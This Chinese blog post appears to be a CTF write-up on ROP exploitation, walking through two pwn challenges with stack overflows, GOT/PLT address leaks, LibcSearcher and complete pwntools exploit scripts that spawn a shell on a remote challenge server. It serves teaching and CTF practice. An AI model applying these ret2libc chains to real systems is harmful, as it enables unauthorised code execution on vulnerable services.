行业新闻

浅谈ROP技术在pwn中的利用

浅谈ROP技术在pwn中的利用

前言:

随着网络安全的发展,在网络攻防对抗中,关于漏洞利用的难度在不断增大,这给攻击者带来了不少阻碍,为了绕过各种漏洞防御措施,掌握ROP技术势在必行。最近研究了一下rop,发现pwn的漏洞点都很奇妙,拿rop来说,利用plt和got表的偏移来计算出got表中的base,其实如果深入研究的话还是要看libc,学习之路漫漫。

64位ROP pwn-100

64位程序

v2-28b603b058d7bc1bac21c421d3d737f4_720w.png

发现前两个函数标准输入输出,然后我们来看一下第三个函数,发现里面又套了一层函数

v2-ee768a3d82eb78ac0069b4cd6eeedfea_720w.png


v2-599e79954693931df87b704ddcbb328c_720w.png


栈空间大小为40,我们可以把这个sub_40063D函数当成read函数

这个的意思就是

v2-2e5f94638525c6199b67e2f0c8bdbf79_720w.png


v2-0bf553d6985d7eac474c10b06e724fa4_720w.png


v2-91db0528cc520d02300327324c1ff7f7_720w.png

v2-f1a358c32afdc6573cde3f804c9193fa_720w.png


修改edi的目的达成,直接call put的指令的意思就是打印


put的plt地址意味着调用put函数,put函数的参数存放在rdi中,rdi此时是got[put]


打印got表put函数的地址


v2-3ea449f24a8bda6f1605d8866d1c77f8_720w.png

from pwn import *from LibcSearcher import LibcSearcher#导入libcsearcher来搜索此执行程序使用的哪个got表#一种got表对应一种libsearchercontext.log_level  =  'debug'io = process('./6')io = remote('111.200.241.244',57644)elf = ELF('./6')payload = b'b'*0x48+p64(0x0000000000400763)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x00000000004006B8)#分析一下这个payload,首先栈溢出,然后加上pop rdi 的地址,在接上got表中的puts,plt是运行puts函数,最后再接上main函数地址#got表中的puts是一串地址io.sendline(payload.ljust(200,b'b'))#题目中写明了for循环必须要200字符串#print(io.recv())io.recvuntil('\n')


got_put_addr =  u64(io.recv().split(b'\n')[0].ljust(8,b'\x00'))print(got_put_addr)#利用got表中的puts函数算出got表中其他函数的相对偏移libc_obj = LibcSearcher('puts', got_put_addr)libc_base_addr = got_put_addr - libc_obj.dump('puts')system_addr = libc_base_addr + libc_obj.dump("system")str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')payloads = b'b'*0x48+p64(0x0000000000400763)+p64(str_bin_sh)+p64(system_addr)io.sendline(payloads)io.interactive()#p64(0x0000000000400763) =rdi


v2-b7fde7d872e43f076c13ce22911b9d9a_720w.png
p64(0x0000000000400763)+p64(elf.got['puts']) 把got表中的puts传送给rdi

栈溢出+32位ROP  pwn-200

32位的可执行文件checksec一下,发现是32位可执行文件

v2-29cc1fbce3e72553e339a1ca88238581_720w.png


v2-1a631277d6911e5b14a0bc408f197b32_720w.png


我们来看一看这个sub_8048484函数

v2-fd34d1dc1251028bce4e5fdf132d8759_720w.png


这里有栈溢出漏洞,这道题的思路是:

1.首先泄露的plt中write表的位置
2.泄露got表中write表的位置

payload = (0x6c+0x4)*b'A'+p32(elf.plt['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)

p32(elf.plt['write'])指令

p32(1)+p32(elf.got['write'])+p32(4)数据流参数   三个参数

p32(0x08048484)此为main函数地址



分析一下这个paylaod,0x6c+0x4是因为buf到ebp的距离是0x6c,然后ebp寄存器为4位(32位程序),先溢出,然后我们开始写

v2-6255f1b972e5ddc777340fd35a1889f3_720w.png

v2-5c5e449ab68702896559ad71c81ec462_720w.png

这个的意思是伪造栈,不过可以理解为开辟了新栈空间

v2-f4c2d4f876748fd5b7cf3b8101cda935_720w.png
print(payload)就是打印出了got表 witre函数的地址(注意这个是动态,但是偏移不会变)

v2-99e1b3248fc6f1a2d0e83ac9a6729b87_720w.png

然后我们利用libc

v2-c67fe1d389aa466fb79b323e21515bff_720w.png

计算出libc的基地址,再利用基地址算出system地址和bin/sh地址,


然后重新构造payload

payload = (0x6c+0x4)*b'A'+p32(system_addr)+p32(0xaaaaaaaa)+p32(binsh_addr)


中间为什么会有0xaaaaaaaa呢,这个也不太懂希望大佬来解释一下(32位系统)


这个后期问了一下,要有一个引子作为返回地址


如果不加那四个字节,弹栈的时候也是把栈顶弹出,然后最多就是ret不能用


是影响整个程序执行的话就要加上,不影响的话完全没必要加那个返回地址


也可能是因为32位是栈传递参数,跟寄存器传递参数不一样导致32位要加一个返回地址这样就是栈溢出然后加上自己写的rop链


就可以打通远程

v2-6cc439cb5511e1349a6435586089f235_720w.png

exp:

from pwn import *from LibcSearcher import LibcSearchercontext.log_level  =  'debug'elf = ELF('4')#this file's ELF#io = process('4')io = remote( '111.200.241.244',53332)payload = (0x6c+0x4)*b'A'+p32(elf.plt['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)print(payload)io.sendline(payload)io.recv()a=u32(io.recv())libc = LibcSearcher('write', a)libc_base = a - libc.dump('write')binsh_addr = libc_base + libc.dump('str_bin_sh')system_addr = libc_base + libc.dump('system')payload = (0x6c+0x4)*b'A'+p32(system_addr)+p32(0xaaaaaaaa)+p32(binsh_addr)io.sendline(payload)io.interactive()

小结

此篇文章写的主要是32位和64位ELF文件关于rop的漏洞利用,可以看到32位和64位攻击的方法不同,关于ROP漏洞的利用有问题的朋友欢迎与小编一起交流。

关闭